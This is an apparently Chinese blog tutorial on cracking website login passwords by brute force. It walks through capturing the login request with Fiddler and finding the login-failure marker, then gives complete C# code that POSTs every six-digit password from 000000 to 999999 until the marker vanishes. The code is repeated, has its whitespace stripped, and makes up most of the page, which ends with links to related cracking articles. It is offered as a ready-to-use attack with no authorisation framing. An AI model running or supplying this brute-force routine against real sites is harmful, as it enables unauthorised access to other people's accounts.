网络爬虫(密码破解)
2016-09-09 15:48
204 查看
用到的技术也同样是网络抓包、DOM树分析、网络请求等。
网络抓包
dom树分析
网络请求
循环破解
HttpWebResponseresponse=null;
HttpWebRequestrequest=null;
if(cookie==null)
cookie=newCookieContainer();
//准备请求...
try
{
//设置参数
request=WebRequest.Create(url)asHttpWebRequest;
request.CookieContainer=cookie;
request.AllowAutoRedirect=true;
request.Method=method.ToUpper();
request.ContentType="application/x-www-form-urlencoded";
stringuserAgent=string.Format("Mozilla/4.0(compatible;MSIE6.0;MSWebServicesClientProtocol2.0.50727.8670)");
request.UserAgent=userAgent;
request.ContentLength=postData.Length;
if(method.ToUpper()=="POST")
{
if(!string.IsNullOrEmpty(postData))
{
byte[]data=Encoding.Default.GetBytes(postData);
request.ContentLength=data.Length;
using(Streamoutstream=request.GetRequestStream())
{
outstream.Write(data,0,data.Length);
}
}
}
//发送请求并获取相应回应数据
response=request.GetResponse()asHttpWebResponse;
//直到request.GetResponse()程序才开始向目标网页发送Post请求
using(Streaminstream=response.GetResponseStream())
{
using(StreamReadersr=newStreamReader(instream,encoding))
{
//返回结果网页(html)代码
stringcontent=sr.ReadToEnd();
returncontent;
}
}
}
catch(Exceptionex)
{
stringerr=ex.Message;
returnerr;
}
finally
{
if(response!=null)
response.Close();
}
}
intstart=0;
intend=999999;
for(inti=start;i<=end;i++)
{
varpass=i.ToString().PadLeft(6,'0');//不足6位,左边补0
varpost="usename=yourname"+"&password="+pass;//拼接请求的数据
varres=GetContent("POST",loginurl,post);
if(!res.Contain("失败标识"))
{
MessageBox.Show("密码是:"+pass);
return;
}
}
其中
网络抓包
dom树分析
网络请求
循环破解
网络抓包
这里抓包很简单,首先打开fiddler软件,然后打开你要破解的网站,输入用户名和一个假的密码(如果你知道真的密码,就不需要破解了),点击登录,这时候就会从fiddler中查看到一条登录的请求,一般都是POST请求,可以很清楚的从请求内容中看到请求的URl、用户名、密码等,将该语句复制下来,准备下一步工作。dom树分析
这里的DOM树分析,只需要分析刚刚那条登录请求的结果即可,一般都是提示你登录失败,但是有些返回的是整个html页面,有些是json语句等等,但是终归你会找到一个标识你登录失败的地方,将这个也记录下来,准备下一步工作。网络请求
此次网络请求在上一篇文章中也有过介绍,在这里我再放出代码,但需要强调的是using(StreamReadersr=newStreamReader(instream,encoding))中的encoding,如果你能看出返回网页的编码方式,这里就改成相应的编码,否则中午会出现乱码的情况,如果不知道,那么可以用GB2312等逐一测试,直到不出现乱码为止。
publicstringGetContent(stringmethod,stringurl,stringpostData="",CookieContainercookie=null){[/code]
循环破解
这里是本文的核心,知道了登录的请求方式以及登录失败的提示,接下来就是通过像我们当年破解密码箱密码一样一个个去试,这里只不过用程序自动完成,首先写个循环从0循环到999999(假设6位数密码),然后拼接登录请求中的数据(包含用户名、密码),然后发送网络请求判断请求的结果,如果包含之前找到的失败标识,继续循环,如果不包含,恭喜你密码找到了。代码如下:intend=999999;
for(inti=start;i<=end;i++)
{
varpass=i.ToString().PadLeft(6,'0');//不足6位,左边补0
varpost="usename=yourname"+"&password="+pass;//拼接请求的数据
varres=GetContent("POST",loginurl,post);
if(!res.Contain("失败标识"))
{
MessageBox.Show("密码是:"+pass);
return;
}
}
其中
i.ToString().PadLeft(6,'0')的作用是不足6位补0,让密码满足6位。
varpost="usename=yourname"+"&password="+pass的作用是拼接发送的数据。
相关文章推荐
- 破解Excel密码保护文件
- linux单用户密码破解
- 用Interl 5100AGN 无线网卡破解无线网络WEP密码
- FREEBSD密码破解(单用户模式未设置安全)
- C#.NET 大型企业信息化系统集成快速开发平台 4.2 版本 - 防止暴力破解密码、提高大型信息系统安全
- 破解密码高手王小云教授简介
- 黑客破解网络密码的十个方法
- 如何破解12位+字符的高强度密码?
- 快刀青衣:和你一起破解运营密码
- Mysql数据库安全链接和密码加密方式及破解
- 破解linux的root密码
- 计算机十二种常用密码破解法
- Wifi密码破解1:通过字典(暴力)破解WIFI密码
- TPLink路由器登陆密码怎么破解
- 来看看破解你的密码需要多长时间
- “网络爸爸”的密码破解
- excel工作表密码破解方法
- 女子网络相册密码被破解 不雅照片流传---网络安全防范意识须加强
- 破解密码保护的excel文档的vb宏代码
- 破解无线网络WEP密码(上)